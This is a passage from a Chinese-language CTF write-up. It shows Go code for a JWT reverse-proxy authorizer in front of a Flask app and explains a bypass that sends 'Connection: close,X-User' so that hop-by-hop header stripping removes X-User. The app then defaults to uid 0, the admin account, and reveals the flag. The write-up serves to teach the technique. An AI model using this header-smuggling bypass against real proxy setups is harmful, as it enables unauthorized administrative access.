			return nil, fmt.Errorf("unexpected signing method: %v", token.Header["alg"])
		}
		return []byte(SecretKey), nil//返回用于验证签名的密钥
	})
	if err != nil {
		log.Printf("failed to parse token: %v", err)
		return ""
	}
	claims, ok := token.Claims.(*AuthClaims)
	if !ok || !token.Valid {
		log.Printf("invalid token claims")
		return ""
	}
	return claims.UID//最后会提取claims中的UID并返回
}

func main() {
	authorizer := &httputil.ReverseProxy{Director: func(req *http.Request) {//创建反向代理,转发到Flask应用,检测UID是否存在并设置请求头X-User
		req.URL.Scheme = "http"
		req.URL.Host = "127.0.0.1:5000"

		uid := GetUIDFromRequest(req)
		log.Printf("Request UID: %s, URL: %s", uid, req.URL.String())
		req.Header.Del("Authorization")
		req.Header.Del("X-User")
		req.Header.Del("X-Forwarded-For")
		req.Header.Del("Cookie")

		if uid == "" {
			req.Header.Set("X-User", "anonymous")
		} else {
			req.Header.Set("X-User", uid)
		}
	}}

	signRouter := mux.NewRouter()////创建一个路由器实例
	signRouter.HandleFunc("/sign", func(w http.ResponseWriter, r *http.Request) {////定义一个/sign路由
		if !strings.HasPrefix(r.RemoteAddr, "127.0.0.1:") {// 检查客户端 IP 是否为本地
			http.Error(w, "Forbidden", http.StatusForbidden)
		}
		uid := r.URL.Query().Get("uid")//从查询参数获取用户ID
		token, err := SignToken(uid)//生成token
		if err != nil {
			log.Printf("Failed to sign token: %v", err)
			http.Error(w, "Failed to generate token", http.StatusInternalServerError)
			return
		}
		w.Write([]byte(token))//返回token
	}).Methods("GET")//请求方法为get

	log.Println("Sign service is running at 127.0.0.1:4444")//这个路由要求只能从本地去访问
	go func() {
		if err := http.ListenAndServe("127.0.0.1:4444", signRouter); err != nil {
			log.Fatal(err)
		}
	}()

	log.Println("Authorizer middleware service is running at :5555")
	if err := http.ListenAndServe(":5555",q authorizer); err != nil {
		log.Fatal(err)
	}
}//定义了一个内部签名服务4444端口和外部反向代理服务5555端口
1
2
3
4
5
6
⼀个python的web app。flask。有个go的鉴权服务器。这个服务器有个后端,来⾃,github.com/gorilla/mux,有⼀段签名逻辑,开在4444端⼝,go的鉴权服务器有个中间件。开在5555,会从主服务器(5000)中获取JWT密钥,验证并提取uid,然后删掉⼀些头
		req.Header.Del("Authorization")
		req.Header.Del("X-User")
		req.Header.Del("X-Forwarded-For")
		req.Header.Del("Cookie")
然后将X-User设置为uid。
1
2
3
4
5
6
7
 user = User(#如果获取失败uid就是0,uid是0的⽤⼾正好是admin。
                id=0,
                username='admin',
                password_hash=password_hash,
                salt=base64.b64encode(salt).decode('utf-8'),
            )
 我们现在就是要想个办法让中间件的返回头⾥没有 X-User

RFC 2616 - Hypertext Transfer Protocol – HTTP/1.1

image-20251125133235002

我们为了兼容HTTP/1.0,定义

1
Connection: Close,[header]

此处的header会被 removed and ignored 。因此,我们传⼊:

1
Connection: close,X-User
1
2
此时不管中间件传回怎样的X-User值,在客⼾机与中间件的Connection被Connection Header给close掉之后,也根据RFC HTTP1/1的规范(为了向下兼容)将X-User置空。因此我们得到了空的X-User。在 uid = request.headers.get('X-User', '0') 中,我们得到了uid为0的⽤⼾的登录权限。
之后我们直接就能看到明⽂flag。

image-20251019231225410

谢谢观看
使用 Hugo 构建
主题 StackJimmy 设计